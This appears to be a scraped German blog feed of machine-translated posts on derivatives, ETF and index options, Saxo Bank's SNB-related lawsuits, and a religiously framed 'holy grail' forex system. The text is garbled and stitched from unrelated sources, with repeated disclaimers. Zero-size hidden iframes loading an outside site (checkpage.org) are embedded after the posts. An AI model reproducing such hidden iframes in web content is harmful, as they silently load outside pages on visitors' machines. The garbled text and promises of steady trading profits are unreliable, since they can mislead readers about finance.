von 685 Millionen Kontrakten ab 2012 gehandelt wurden. Eine Liste der Top 30 Derivate-Börsen (CISI) Ein Futures-Kontrakt ist lediglich ein Vertrag, der angibt, dass ein Käufer oder ein Verkäufer einen Basiswert zu einem bestimmten Betrag, zu einem Preis und zu einem späteren Zeitpunkt zu einem bestimmten Zeitpunkt verkaufen wird. Futures werden sowohl von Hedgern als auch von Spekulanten eingesetzt, um künftig vor Kursschwankungen des Basiswertes zu schützen oder von diesen zu profitieren. Eine Vielzahl von Produkten können an den Terminbörsen gehandelt werden. Mit Verträgen, die von landwirtschaftlichen Produkten wie Vieh, Getreide, Sojabohnen, Kaffee und Molkereien bis zu Holz, Gold, Silber, Kupfer bis hin zu Energieprodukten wie Rohöl und Erdgas an Lagerindizes und Volatilitätsindizes wie dem SampP, dem Dow reichen , Nasdaq, und die VIX. Sowie Zinssätze für Schatzanweisungen und Devisen für eine Vielzahl von großen Emerging Markets und Cross-Currency-Paare. Es gibt sogar Futures auf prognostizierten Wetter-und Temperaturbedingungen. Je nach Börse wird jeder Kontrakt mit eigenen Spezifikationen, Abrechnungs - und Rechenschaftsregeln gehandelt. Eine Liste der handelbaren Futures-Kontrakte finden Sie auf der Website der CME Groups. Optionen sind Derivate, die dem Inhaber das Recht, aber nicht die Verpflichtung, einen zugrunde liegenden Vermögenswert zu einem vorgegebenen Datum und Menge zu kaufen oder zu verkaufen, gewähren. Der Optionsmarkt hat bemerkenswertes Wachstum seit dem ersten standardisierten Vertrag gehabt, der 1973 gehandelt worden ist. Beispielsweise erklärte die Options-Clearing-Gesellschaft, 3,9 Milliarden Verträge im Jahr 2010 und 4,33 Milliarden im Jahr 2014 zu klären. Die Chicago Board Options Exchange (CBOE) ist die größte Optionsbörse In der Welt, mit einem durchschnittlichen täglichen Volumen im Jahr 2014 von 5,3 Millionen Verträge gehandelt werden. Arten von börsengehandelten Optionen Aktienoptionen sind Optionen, bei denen der zugrunde liegende Vermögenswert der Bestand eines börsennotierten Unternehmens ist. Aktienoptionen werden in der Regel auf 100 Aktien pro Kontrakt standardisiert und die Prämie wird pro Aktie notiert. Zum Beispiel wird eine Apple Inc. (AAPL) 115 Streik-Option für 20. März Ablauf wird für 12,15 pro Aktie oder 1215 pro Optionskontrakt gehandelt werden. Indexoptionen sind Optionen, bei denen der Basiswert ein Aktienindex ist. Der CBOE bietet derzeit Optionen auf dem SampP, Dow, FTSE an. Russell und der Nasdaq. Jeder Vertrag hatte unterschiedliche Spezifikationen und kann in der Größe von der ungefähre Wert des zugrunde liegenden Index bis 110 th der Größe. Derzeit hat die CBOE Pläne, Optionen auf MSCI Emerging Markets Index bieten. Ab April 2015. ETF-Optionen sind Optionen, bei denen der Basiswert ein börsengehandelter Fonds ist. VIX-Optionen sind einzigartige Optionen, bei denen der Basiswert der CBOE-eigene Index ist, der die Volatilität der SampP 500-Indexoptionspreise verfolgt. Der VIX kann sowohl über Optionen und Futures als auch über Optionen der ETFs, die den VIX verfolgen, gehandelt werden, wie der iPath SampP 500 VIX Short Term Futures ETN (VXX). Anleiheoptionen sind Optionen, bei denen der Basiswert eine Anleihe ist. Der Anruf Käufer erwartet Zinssätze sinken die Anleihenkurse steigen und der Put Käufer erwartet, dass die Zinssätze steigenden Preisen fallen. Zinsoptionen sind Optionen im europäischen Stil, bei denen der Basiswert ein Zinssatz ist, der auf der Spot-Rendite von US Treasurys basiert. Verschiedene Optionen werden für Rechnungen angeboten, die mit unterschiedlichen Zeiträumen ablaufen, z. B. Ein Anruf Käufer erwartet Renditen zu steigen und ein Put Käufer erwartet Renditen zu sinken. Währungsoptionen sind Optionen, in denen der Inhaber künftig Währung kaufen oder verkaufen kann. Währungsoptionen werden von Einzelpersonen und Großunternehmen zur Absicherung von Währungsrisiken eingesetzt. Zum Beispiel, wenn ein amerikanisches Unternehmen erwartet, dass die Zahlung in Euro in sechs Monaten zu erhalten und fürchtet einen Rückgang der EUR, sagen, von 1,06 pro Euro auf 1,03 pro Euro, können sie einen EURUSD mit einem Streik von 1,05 pro Euro zu kaufen Um sicherzustellen, dass sie ihre Euro am Spotmarkt zu einem besseren Preis verkaufen können. Wetteroptionen und (Futures) werden als Hedges von Unternehmen genutzt, um gegen ungünstige Wetterveränderungen zu schützen. Sie sind nicht die gleichen wie Katastrophenanleihen, die die Risiken, die mit Hurrikans, Tornados, Erdbeben usw. verbunden sind, verringern. Wetterderivate konzentrieren sich stattdessen auf tägliche oder saisonale Temperaturschwankungen um eine vorgegebene Temperatur-Benchmark. Weitere Informationen zu diesen Derivaten finden Sie auf der Website der CME Group. Optionen auf Futures: Wie bereits erwähnt, gibt es Futures-Kontrakte für eine Vielzahl von Vermögenswerten und Börsen wie die CME, die Optionskontrakte auf diese Futures bieten. Der Futures-Optionsinhaber ist berechtigt, den zugrunde liegenden Futures-Kontrakt zu einem vorgegebenen Zeitpunkt zu einem Bruchteil des Marginbedarfs des ursprünglichen Futures-Kontrakts zu kaufen oder zu verkaufen. Börsengehandelte Derivate bieten mehr Liquidität, Transparenz. Und ein geringeres Gegenparteirisiko als die außerbörslichen Derivate zu Kosten der Vertragskundenbezogenheit. Die Exchange Traded Derivate-Welt umfasst Futures, Optionen und Optionen auf Futures-Kontrakte. Navigation Equity Options Eurex Exchange ist Ihr One-Stop-Shop für europäische Aktienoptionen aus 10 Ländern. Unser Angebot umfasst mehr als 700 Optionen auf die beliebtesten europäischen Underlyings. Marktteilnehmer, die ihren europäischen Aktienoptionshandel an der Eurex Exchange bündeln, profitieren ebenso von Cross-Margin-Effizienzen bei Eurex Clearing und maximieren deren Sicherheitenauslastung. Das ist ein Grund, warum sie zunehmend Liquidität zu Eurex Exchange als ihren Ort der Wahl entweder über unsere bekannten Trade Entry Services oder zunehmend über On-Screen-Orderbuch Handel. Aktienoptionen bei Eurex Exchange (Präsentation) Download SubnavigationETF Options Vs. Indexoptionen Die Handelswelt hat sich seit Mitte der 70er Jahre exponentiell entwickelt. Angetrieben durch den gewaltigen Ausbau der technologischen Kapazitäten - verbunden mit der Fähigkeit von Finanzunternehmen und Börsen, neue Produkte für jede neue Chance zu erschließen - stehen Investoren und Händlern ein breites Spektrum von Handelsfahrzeugen und Handelsinstrumenten zur Verfügung. Mitte der siebziger Jahre war die primäre Form der Investition einfach, Aktien einer einzelnen Aktie zu kaufen, in der Hoffnung, dass sie die breiteren Marktdurchschnitte übertreffen würde. Etwa zu dieser Zeit begannen die Investmentfonds mehr und mehr zugänglich zu machen, so dass mehr Einzelpersonen in die Aktien - und Anleihemärkte investieren konnten. 1982 begann der Aktienindex-Futures-Handel. Dies war das erste Mal, dass Händler tatsächlich einen bestimmten Marktindex selbst tauschen konnten, anstatt die Aktien der Unternehmen, die den Index umfassten. Von dort sind die Dinge schnell vorangeschritten. Zuerst kamen Optionen auf Aktienindex-Futures, dann Optionen auf Indizes, die in Aktienkonten gehandelt werden könnten. Als nächstes kamen Indexfonds, die es Investoren erlaubten, einen bestimmten Aktienindex zu kaufen und zu halten. Der jüngste Wachstumsschub begann mit dem Aufkommen des Exchange Traded Funds (ETF) und es folgte die Notierung von Optionen für den Handel gegen ein breites Spektrum dieser neuen ETFs. Ein Überblick über den Indexhandel Ein Marktindex ist einfach eine Maßnahme, die es Investoren ermöglicht, die Gesamtperformance einer bestimmten Kombination von Anlageinstrumenten zu verfolgen. So erfasst der SampP 500 Index die Performance von 500 Large-Cap-Aktien, während der Russell 2000 Index die Bewegungen von 2.000 Small-Cap-Aktien verfolgt. Während diese Marktindizes das große Bild der Preisentwicklung verfolgen, ist die Tatsache, dass für den Großteil des 20. Jahrhunderts der durchschnittliche Investor keine Möglichkeit hatte, diese Indizes tatsächlich zu handeln. Mit dem Aufkommen von Indexhandel, Indexfonds und Indexoptionen wurde diese Schwelle schließlich überschritten. Die Vanguard-Fondsfamilie wurde die erste Fondsfamilie, die eine Vielzahl von Indexfonds anbietet, wobei der prominenteste der Vanguard SampP 500 Index Fund ist. Andere Familien einschließlich Guggenheim Funds und ProFunds nahmen die Dinge auf ein noch höheres Niveau, indem sie im Laufe der Zeit eine breite Palette von Long-, Short - und Leveraged-Indexfonds herausbrachten. Das Advent der Indexoptionen Der nächste Expansionsbereich lag im Bereich der Optionen auf verschiedenen Indizes. Durch die Aufzählung der Optionen auf verschiedene Marktindizes konnten viele Händler erstmals ein breites Segment des Finanzmarktes mit einer Transaktion handeln. Die Chicago Board Options Exchange (CBOE) bietet Optionen für über 50 inländische, ausländische, sektorspezifische und volatilitätsbasierte Indizes an. Eine teilweise Auflistung einiger der aktiv gehandelten Indexoptionen auf der CBOE nach Volumen vom September 2016 erscheint in Abbildung 1. Abbildung 1: Einige wichtige Marktindizes für Optionshandel auf dem CBOE verfügbar. Das erste, was über Index-Optionen zu beachten ist, dass es keinen Handel geht in den zugrunde liegenden Index selbst. Es ist ein berechneter Wert und existiert nur auf Papier. Die Optionen erlauben nur, auf die Kursrichtung des zugrunde liegenden Index zu spekulieren oder alle oder einen Teil eines Portfolios abzusichern, der eng mit diesem bestimmten Index korrelieren könnte. ETFs und ETF-Optionen Eine ETF ist im Wesentlichen ein Investmentfonds, der wie eine einzelne Aktie handelt. Daher kann der Anleger jederzeit während des Handelstages eine ETF kaufen oder verkaufen, die ein bestimmtes Segment der Märkte repräsentiert oder verfolgt. Die große Verbreitung von ETFs war ein weiterer Durchbruch, der die Fähigkeit der Investoren, viele einzigartige Möglichkeiten zu nutzen, erheblich erweitert hat. Anleger können nun in den folgenden Arten von Wertpapieren sowohl Long - als auch Short-Positionen - und in vielen Fällen auch Leverage - Long - oder Short-Positionen - nutzen: Foreign - und Inland-Aktienindizes (Large-Cap, Small-Cap, Wachstum, Wert, Sektor usw (Yen, Euro, Pfund usw.) Rohstoffe (Rohwaren, Finanzanlagen, Rohstoffindizes etc.) Anleihen (Treasury, Corporate, Munis International) Wie bei den Indexoptionen haben auch einige ETFs eine gewaltige Option gefunden Während die Mehrheit sehr wenig angezogen hat. Abbildung 2 zeigt einige der ETFs, die ab September 2016 das attraktivste Option-Handelsvolumen auf der CBOE genießen. Abbildung 2: ETFs mit aktivem Optionshandelsvolumen. Während ETFs in sehr kurzer Zeit enorm populär geworden sind und an Zahl vermehrt haben, bleibt die Tatsache, dass die Mehrheit der ETFs nicht stark gehandelt wird. Dies ist teilweise darauf zurückzuführen, dass viele ETFs hoch spezialisiert sind oder nur ein bestimmtes Segment des Marktes abdecken. Infolgedessen haben sie nur begrenzten Appell an die investierende Öffentlichkeit. Der entscheidende Punkt hier ist einfach zu erinnern, zu analysieren, die tatsächliche Höhe der Option Handel gehen auf für den Index oder ETF, die Sie handeln möchten. Der andere Grund, das Volumen zu berücksichtigen ist, dass viele ETFs die gleichen Indizes verfolgen, die gerade Indexoptionen verfolgen oder etwas sehr Ähnliches. Daher sollten Sie prüfen, welches Fahrzeug die beste Möglichkeit bietet in Bezug auf die Option Liquidität und Geld-Brief-Spreads. Unterschied Nr. 1 Zwischen Indexoptionen und Optionen auf ETFs Es gibt einige wichtige Unterschiede zwischen Indexoptionen und Optionen auf ETFs. Die bedeutendsten davon sind die Tatsache, dass Handelsoptionen auf ETFs dazu führen können, dass Anteile an der zugrunde liegenden ETF über - nommen oder ausgegeben werden müssen (dies kann unter Umständen von einigen als ein Vorteil angesehen werden). Bei Indexoptionen ist dies nicht der Fall. Der Grund für diesen Unterschied besteht darin, dass Indexoptionen europäische Stiloptionen sind und sich in Barmitteln niederlassen, während Optionen auf ETFs amerikanische Optionen sind und in Aktien des zugrunde liegenden Wertpapiers abgewickelt werden. Amerikanische Optionen unterliegen ebenfalls einer frühen Ausübung, dh sie können jederzeit vor dem Verfall ausgeübt werden, wodurch ein Handel mit dem zugrunde liegenden Wert ausgelöst wird. Dieses Potenzial für eine frühzeitige Ausübung und der Umgang mit einer Position in der zugrundeliegenden ETF kann für einen Händler bedeutende Auswirkungen haben. Indexoptionen können vor dem Verfall gekauft und verkauft werden, sie können jedoch nicht ausgeübt werden, da kein Handel im zugrunde liegenden Index erfolgt. Infolgedessen gibt es keine Bedenken hinsichtlich der frühen Ausübung beim Handel einer Indexoption. Unterschied Nr. 2 Zwischen Index-Optionen und Optionen auf ETFs Die Höhe des Options-Handelsvolumens ist eine entscheidende Überlegung, wenn man entscheidet, welche Avenue bei der Ausführung eines Trade heruntergeht. Dies trifft insbesondere auf Indizes und ETFs zu, die dieselbe - oder sehr ähnliche - Sicherheit verfolgen. Zum Beispiel, wenn ein Trader wollte auf der Richtung des SampP 500 Index mit Optionen spekulieren, hat er oder sie mehrere Möglichkeiten zur Verfügung. SPX, SPY und IVV verfolgen den SampP 500 Index. Sowohl SPY und SPX Handel in großer Menge und wiederum genießen sehr enge Bid-Ask-Spreads. Diese Kombination aus hohen Volumina und engen Spreads zeigt, dass die Anleger diese beiden Wertpapiere frei und aktiv handeln können. Am anderen Ende des Spektrums ist der Optionshandel auf IVV extrem dünn und die Bid-Ask-Spreads deutlich höher. Bei der Auswahl zwischen SPX oder SPY muss ein Trader entscheiden, ob amerikanische Optionen, die auf die zugrunde liegenden Aktien (SPY) oder europäischen Stil Optionen, die Ausübung zu Bargeld am Verfall (SPX) ausüben, zu handeln. Die Handelswelt hat sich in den letzten Jahrzehnten sprunghaft ausgebaut. Interessanterweise sind die guten Nachrichten und die schlechten Nachrichten im Wesentlichen ein und dasselbe. Einerseits können wir feststellen, dass den Anlegern niemals mehr Möglichkeiten zur Verfügung stehen. Gleichzeitig kann der durchschnittliche Anleger leicht verwirrt und überwältigt werden durch alle Möglichkeiten, die um ihn herum wirbeln. Trading-Optionen auf der Grundlage von Marktindizes kann ziemlich profitabel. Entscheiden, welches Fahrzeug zu verwenden - sei es Index-Optionen oder Optionen auf ETFs - ist etwas, das Sie einige ernsthafte Rücksicht auf, bevor Sie den Sprung geben sollte.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-63680166611401045362017-08-19T07:14:00.000-07:002017-08-19T07:14:03.544-07:00Forex Leben Zitate Saxo Bank<p>Forex Trading bei Saxo Ob Sie direkt von Bewegungen in FX profitieren oder einfach nur international über Assetklassen investieren möchten, der Forex-Markt berührt alles, was Sie als Investor tun. Es ist unser Ziel, FX Trading für Sie zu machen, so dass Sie FX online in einer schnellen, transparenten und zuverlässigen Weise handeln können. Trade FX-Instrumente auf den gleichen Plattformen, die Sie für alle anderen Saxo-Geschäfte verwenden, mit Ihrem Saxo-Konto. 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Hebel verwenden Leveraged Handel kann riesige Chancen eröffnen - aber es muss sorgfältig verwaltet werden. Finde heraus wie. Häufig gestellte Fragen Was ist ein FX-Volumenpreisplan? Wir geben den Kunden lediglich die Wahl, ob sie es vorziehen, mit einer Post-Trade-Provision auf festere, variable Spreads zu handeln oder auf All-Inclusive-Spreads zu tauschen Breiter, aber im Allgemeinen konsistenter. Was passiert, wenn ich die Preiskonditionen ändern möchte Mitte des Monats Sie können den Provisionszins (und die damit verbundene monatliche Provisionsverpflichtung) jederzeit ändern. Die Mindestprovisionen werden anteilmäßig auf die anteiligen Tage berechnet, die jeweils für das jeweilige Mindestmaß gelten. Was sind meine Trading-Kosten mit dem FX-Volumen-Preis-Plan Sie werden die jeweiligen USD pro USD-Million gehandelt Provision Gebühr berechnet, die berechnet und transparent auf jedem Handel. Die Gebühr ist in der Trade-Ticket-Bestätigung und auch im Monitor der offenen Positionen zu sehen. Warum würde nicht jeder die niedrigste Provisionsrate von USD 20 pro USD Millionen anstelle von USD 60 wählen. Die niedrigsten Provisionssätze sind nicht unbedingt für alle Kunden geeignet. Die Provisions-basierte Preisstruktur ermöglicht es Ihnen, niedrigere pro-Einheit Provisionssätze zu zahlen, aber es gibt auch minimale monatliche Provisionsbeträge zu zahlen. Haben Sie nicht gefunden, was Sie gesucht haben? Hier können Sie weitere FAQs zum Trading FX mit Saxo herunterladen. Oder setzen Sie sich mit unserem Fachpersonal in Verbindung, indem Sie die untenstehende Nummer anrufen. Saxo Bank verklagen Kunden über SNB-Verluste Saxo Bank verklagt 12 Kunden in Singapur, um Handelsverluste nach der SNB-Kappenentfernung zurückzuzahlen Bloomberg berichtet, dass Saxo Bank-Kunden in Singapur für 7,62 verklagt werden Dass die Kunden für die Verluste über das SNB-Fiasko haften. Die Kunden haben gesagt, dass ihre Verluste durch Saxo Capital Markets PTE zufällige und rückwirkende Neubewertung von Trades verursacht wurden. Swissquote Group Holding SA ist ein weiterer Broker, der in diesem Monat angekündigt hat, dass es rechtliche Schritte einleiten wird, um Geld zurückzugewinnen, das Kunden ausgeliehen und verloren haben (klingt wie Hebel). Sie sagen, dass sie in Kontakt mit rund zwei Drittel ihrer 420 Kunden, die Geld verloren haben und erwarten, dass rechtliche Schritte gegen das verbleibende Drittel. Mehr von der Geschichte jetzt Die Saxo Kunden sagen, dass Saxo falsch abgezogene Gelder und verkaufte Vermögenswerte nach den Preisrevisionen, die nicht reflektieren Marktsätze und suchen zusätzliche Schäden für die angeblichen Bruch. Saxo haben entgegengetreten, dass sie vertraglich erlaubt sind, fehlerhafte Preise zu korrigieren und dass sie versuchten zu vermeiden, verklagt zu werden, als sie fortfuhren, CHF Aufträge zu akzeptieren, nachdem die SNB die Kappe gezogen hat. Die volle Geschichte von Bloomberg kann hier gefunden werden Premier forex trading news site Founded in 2008 , ForexLive ist der führende Forex Trading News-Website bietet interessante Kommentare, Meinungen und Analysen für echte FX Trading-Profis. Holen Sie sich die neuesten Börsenhandel Börsenmeldungen und aktuelle Updates von aktiven Händlern täglich. ForexLive Blog Beiträge Feature führenden technischen Analyse Charting-Tipps, Forex-Analyse und Währung Paar Handel Tutorials. Finden Sie heraus, wie die Vorteile von Swings in globalen Devisenmärkten zu nutzen und sehen Sie unsere Echtzeit-Forex-Nachrichten Analyse und Reaktionen auf Zentralbank Nachrichten, Wirtschaftsindikatoren und Weltveranstaltungen. 2017 - Live Analytics Inc v.0.8.2659 HIGH RISK WARNUNG: Der Devisenhandel hat ein hohes Risiko, das möglicherweise nicht für alle Anleger geeignet ist. Leverage schafft zusätzliche Risiken für Risiken und Verluste. Bevor Sie sich entscheiden, Devisenhandel, sorgfältig überlegen Sie Ihre Anlageziele, Erfahrung Ebene und Risikobereitschaft. Sie könnten einige oder alle Ihre anfänglichen Investitionen verlieren nicht Geld investieren, die Sie nicht leisten können, zu verlieren. Erziehen Sie sich auf die mit dem Devisenhandel verbundenen Risiken und suchen Sie Ratschläge von einem unabhängigen Finanz - oder Steuerberater, wenn Sie Fragen haben. BERATUNG WARNHINWEIS: FOREXLIVE bietet Referenzen und Links zu ausgewählten Blogs und anderen Quellen von Wirtschafts - und Marktinformationen als Bildungsdienst für ihre Kunden und Interessenten und unterstützt nicht die Meinungen oder Empfehlungen der Blogs oder anderer Informationsquellen. Kunden und Interessenten werden empfohlen, die Meinungen und Analysen, die in den Blogs oder anderen Informationsquellen im Kontext des Klienten angeboten werden, sorgfältig zu prüfen und individuelle Analysen und Entscheidungen zu treffen. Keiner der Blogs oder anderen Informationsquellen ist als eine Erfolgsbilanz zu betrachten. Die bisherige Wertentwicklung ist keine Garantie für zukünftige Ergebnisse und FOREXLIVE empfiehlt insbesondere Kunden und Interessenten, alle Ansprüche und Darstellungen von Beratern, Bloggern, Geldmanagern und Systemanbietern sorgfältig zu überprüfen, bevor sie Geld investieren oder ein Konto bei einem Devisenhändler eröffnen. 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Sie sind die Mittelung von Trades an Kunden basierend auf, wo Saxo gefüllt wurde Also wo waren Saxo8217s Aufträge vor dem Umzug, die ihr Risiko abgedeckt, und wo wurden sie gefüllt Wenn sie keine vorherigen Bestellungen, dann mussten sie scrambling zu bekommen haben Während des Umzugs gefüllt. Auf Risiko-Basis das unverschämt. Auf einer ECN-Basis that8217s noch schlimmer Wenn sie Stop-Aufträge in EBS haben dann soweit I8217m bewusst EBS ist zuerst in, zuerst behandelt. I8217d sein sauer, wenn ich einen Stopp vor Ort von vor 3 Jahren hatte, dass gefüllt mit dem gleichen Durchschnitt oder schlechter als jemand, der automatisch ihre Positionen geschlossen hatte. They8217ve gegeben 3 Niveaus der Preise so I8217d erwartet werden, um bei der höheren gefüllt werden, wenn meine Haltestelle wurde eine lange Zeit zurück 2. Sie sind die Synthese von Füllungen für andere Schweizer Paare Sind Sie Witze mich Es klingt wie Saxo didn8217t tatsächlich Handel auf dem Markt Für andere Schweizer Paare, aber gemacht Fills auf der Grundlage der Mittelwerte für EURCHF Ich dachte, Saxo Bank war ein ECN Wenn das der Fall ist, dann schlage ich vor, dass Saxo Kunden auf ihre TampC8217s zu lesen, um zu sehen, ob Saxo, die als eine Politik in füllenden Client detailliert Aufträge. Wenn it8217s dort dann saugt es große Zeit. Das Problem ist, dass, wenn sie donâ € ™ t füllen Kunden auf dem Markt dann, wie haben sie Kunden füllen Eine Möglichkeit ist, dass sie die andere Seite des Handels auf sich genommen so tatsächlich Kauf Schweizer Paare am unteren Rand des Marktes. That8217s nicht die Arbeit eines ECN. Wie es zu funktionieren scheint, um zu klären, wie es funktioniert, von meinem Tage in den Gruben, und von einem bestimmten ehemaligen Interbank-Händler, den ich überprüft und wer seine Zwiebeln auch kennt. Wenn Sie can8217t einen Handel in einem illiquiden Vertragswährung, dann können Sie 8220leg8221 den Handel. Für den Handel mit USDCHF würden Sie in Währungseinheiten die meisten flüssigen Paare, d. H. EURCHF und den umgekehrten Weg in EURUSD handeln. Das bringt Sie zu einem USDCHF-Handel. Wenn Sie ein Market Maker sind, könnten Sie auch den Handel komplett auf Ihr eigenes Buch und füllen Sie den Client, oder Sie könnten die Hälfte des Handels auf dem Markt und nehmen Sie die andere Seite auf Ihrem eigenen Buch, wenn es zu Ihren Gunsten war. Nun, in der SNB zu bewegen, um USDCHF zu verkaufen, hätte ein Händler verkauft EURCHF zum frühestmöglichen Zeitpunkt und dann gekauft EURUSD. Jetzt denken Sie daran, dass EURUSD fallen würde auch es hätte möglicherweise einen besseren Einstieg für dieses Bein bedeutet. Trading wie das ist eine Kunstform, anstatt eine genaue Wissenschaft, aber es kann eine Position immens verbessern, wenn rechts gespielt. WENN sie die Kunden so füllten, dann sind sie royally Schrauben Leute über, während sie auf dem Markt für einige Positionen und nicht für andere und möglicherweise nicht im besten Interesse ihrer Klienten handeln. Wieder aber. That8217s eine Angelegenheit für die TampC8217s Diese Saxo Ausgabe ist wichtig, weil sie uns die erste Idee gibt, wie Füllungen während dieser Periode erreicht wurden und wie Vermittler Preisausführungen gewesen sein können, etwas, das nicht in den Augen der Öffentlichkeit von anderen Maklern heraus gekommen ist. Dies ist ein Beispiel und nicht eine vollständige Vorlage für andere zu verwenden. Andere Broker verwenden andere Liquiditätsanbieter und sogar die gleichen könnten auf verschiedenen Ebenen gefüllt werden. Was Saxo8217s Aussage tut, ist mehr Fragen aufzuwerfen, als es antwortet. Sie fragt ihre Risikostrategie für Schweizer Trades, wie es scheint sie didn8217t haben Stop-Aufträge im Markt für Kundenaufträge, nach der Erklärung über die Preisgestaltung. Ich möchte noch einmal klarstellen, dass es sich hierbei um Fragen handelt, die ich erhebe, weil einige Dinge in meiner Erfahrung, so lange ich in den Märkten bin, zu summieren. Dies ist ein direkter Angriff auf Saxo und sie können gut sein in allem, was sie getan haben und spielten sie durch das Buch und ihre Bedingungen und Bedingungen. Sie haben ihre Antwort aus und I8217m übergeben Kommentar dazu. Wenn überhaupt, so hoffe ich am wenigsten, zu versuchen, zu erklären, wie die Dinge funktionieren, damit die Menschen ihre Meinung bilden können und eine Vorstellung davon haben, was sie in ihrer persönlichen Situation zu suchen haben, wenn sie von der SNB bewegt werden. Premier Forex Trading Nachrichten-Website Gegründet im Jahr 2008, ist ForexLive der führende Forex Trading News-Website bietet interessante Kommentare, Meinungen und Analysen für echte FX Trading-Profis. Holen Sie sich die neuesten Börsenhandel Börsenmeldungen und aktuelle Updates von aktiven Händlern täglich. ForexLive Blog Beiträge Feature führenden technischen Analyse Charting-Tipps, Forex-Analyse und Währung Paar Handel Tutorials. Finden Sie heraus, wie die Vorteile von Swings in globalen Devisenmärkten zu nutzen und sehen Sie unsere Echtzeit-Forex-Nachrichten Analyse und Reaktionen auf Zentralbank Nachrichten, Wirtschaftsindikatoren und Weltveranstaltungen. 2017 - Live Analytics Inc v.0.8.2659 HIGH RISK WARNUNG: Der Devisenhandel hat ein hohes Risiko, das möglicherweise nicht für alle Anleger geeignet ist. Leverage schafft zusätzliche Risiken für Risiken und Verluste. Bevor Sie sich entscheiden, Devisenhandel, sorgfältig überlegen Sie Ihre Anlageziele, Erfahrung Ebene und Risikobereitschaft. Sie könnten einige oder alle Ihre anfänglichen Investitionen verlieren nicht Geld investieren, die Sie nicht leisten können, zu verlieren. Erziehen Sie sich auf die mit dem Devisenhandel verbundenen Risiken und suchen Sie Ratschläge von einem unabhängigen Finanz - oder Steuerberater, wenn Sie Fragen haben. BERATUNG WARNHINWEIS: FOREXLIVE bietet Referenzen und Links zu ausgewählten Blogs und anderen Quellen von Wirtschafts - und Marktinformationen als Bildungsdienst für ihre Kunden und Interessenten und unterstützt nicht die Meinungen oder Empfehlungen der Blogs oder anderer Informationsquellen. Kunden und Interessenten werden empfohlen, die Meinungen und Analysen, die in den Blogs oder anderen Informationsquellen im Kontext des Klienten angeboten werden, sorgfältig zu prüfen und individuelle Analysen und Entscheidungen zu treffen. Keiner der Blogs oder anderen Informationsquellen ist als eine Erfolgsbilanz zu betrachten. Die bisherige Wertentwicklung ist keine Garantie für zukünftige Ergebnisse und FOREXLIVE empfiehlt insbesondere Kunden und Interessenten, alle Ansprüche und Darstellungen von Beratern, Bloggern, Geldmanagern und Systemanbietern sorgfältig zu überprüfen, bevor sie Geld investieren oder ein Konto bei einem Devisenhändler eröffnen. Alle in dieser Website enthaltenen Nachrichten, Meinungen, Recherchen, Daten oder sonstigen Informationen werden als allgemeine Marktkommentare zur Verfügung gestellt und stellen keine Anlage - oder Handelsberatung dar. FOREXLIVE lehnt ausdrücklich jegliche Haftung für entgangenen Gewinn oder Gewinn ohne Einschränkung ab, der sich direkt oder indirekt aus der Nutzung oder dem Vertrauen auf diese Informationen ergeben kann. Wie bei allen solchen Beratungsleistungen sind auch die bisherigen Ergebnisse keine Garantie für zukünftige Ergebnisse. Berühren Klicken Sie auf eine beliebige Stelle, um sie zu schließen</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-67718956742102212622017-08-18T08:19:00.000-07:002017-08-18T08:19:04.778-07:0080 ForexTrader-Info - Forex Trading - Börsenhandel - Forex Scalping Systeme - Forex Automatisiertes BENÖTIGES Ehrliches Devisenhandelssystem. Schauen Sie sich diese mechanischen Handelssysteme Forex-Handel kann zu den meisten Risiko-Investitionen, die existieren, die profitabelsten und die meisten unvorhersehbar eingestuft werden. Die oben genannten ist der eigentliche Grund, warum der Begriff Heilige Gral gilt als ein Mythos als die meisten Forex-Händler glauben, dass das Forex-System der Handel mit Forex ohne schweres Risiko, Angst und Angst gibt es nicht aufgrund von Fehlern erlebt, während viele Lasten Methoden in der Vergangenheit erlebt. Ich glaube, DIFFICULT ist ein relativer Begriff, IMPOSSIBLE existiert nicht und FAILURE ist nie ein Versagen, bis Sie sich entscheiden, nicht erneut zu versuchen. Wenn ihr mit diesem Bericht fertig seid, seht ihr, ob ihr mit mir einverstanden seid, dass - ein Heiliger Gral existiert - der Heilige Gral gefunden wurde - der Heilige Gral ist nicht einmal ein System, es gibt verschiedene Ansätze dazu Lustig) die Entdeckung des Heiligen Grals kann durch ein Kind nicht ein Forex-Profi sein. Bevor Sie weiter lesen, wissen Sie bitte, dass dieses Devisenhandelssystem Disziplin und Glauben erfordert. Schließen Sie niemals eine Position, bevor das Ziel erreicht ist. Und haltet im Einklang mit Gott, dem Allmächtigen, Er ist derjenige, der mir das System enthüllte, der Meister aller Geheimnisse. Dieses Handbuch ist dem Allmächtigen, dem Heiligen Geist und Jesus Christus, dem Sohn Gottes, gewidmet. DAS FOREX-HANDELSYSTEM ERKLÄRT Das Forex bewegt sich in Trends, der Trend kann bullisch (nach oben), bearish (nach unten) oder horizontal (seitwärts) sein. Der Ansatz dieses Handelssystems ist egal, welche Richtung der Preis bewegen will, ist es mehr Sorgen über die Herstellung eines Minimums von 40 Pips pro Tag aus dem Forex-Handel. Bei der Verwendung dieser Forex-System das Konzept ist Ihr Erfolg ist nicht in der Anzahl der Forex-Pips, die Sie machen, aber in der Lautstärke, die Sie eingegeben haben. Andere Anhänge, die mit diesem Handbuch kommen, sind 1. Kontinuierliche automatische Pivot-Taschenrechner (die nur auf Metatrader-Plattformen funktioniert) . 2. Ein durchschnittlicher Forex Tagesbereich Taschenrechner, Durchschnittliche wöchentliche Bereich Taschenrechner und Durchschnittliche monatliche Reichweite Taschenrechner (funktioniert auch nur auf Metatrader-Plattformen). Für die Strecke Forexrechner habe ich bereits meine Forschung getan, um die Paare zu entdecken, die dieses Handelssystem arbeitet. (Sie können es verwenden, um mehr auf eigene Faust zu erforschen). Die Währungs-Devisenpaare, mit denen dieses System arbeitet, sind AUDUSD (NORMALGESCHW.) EURUSD (NORMALGESCHW.) AUDNZD (LIGHTNING SPEED) AUDCAD (LIGHTNING SPEED) Abb. 1 A Metatrader Platform Screenshot Das Oben ist ein EURUSD 4hours Chart auf Metatrader-Plattform NovDec 2008. DIE FOREX-STRATEGIE Wählen Sie die vertikale Linie von der Symbolleiste und Abgrenzung der Vortag von heute an sicherzustellen, dass die Linie zeigt die heutigen Tage ersten Candlestick bei 00 : 00 Stunden. Wählen Sie die horizontale Linie aus der 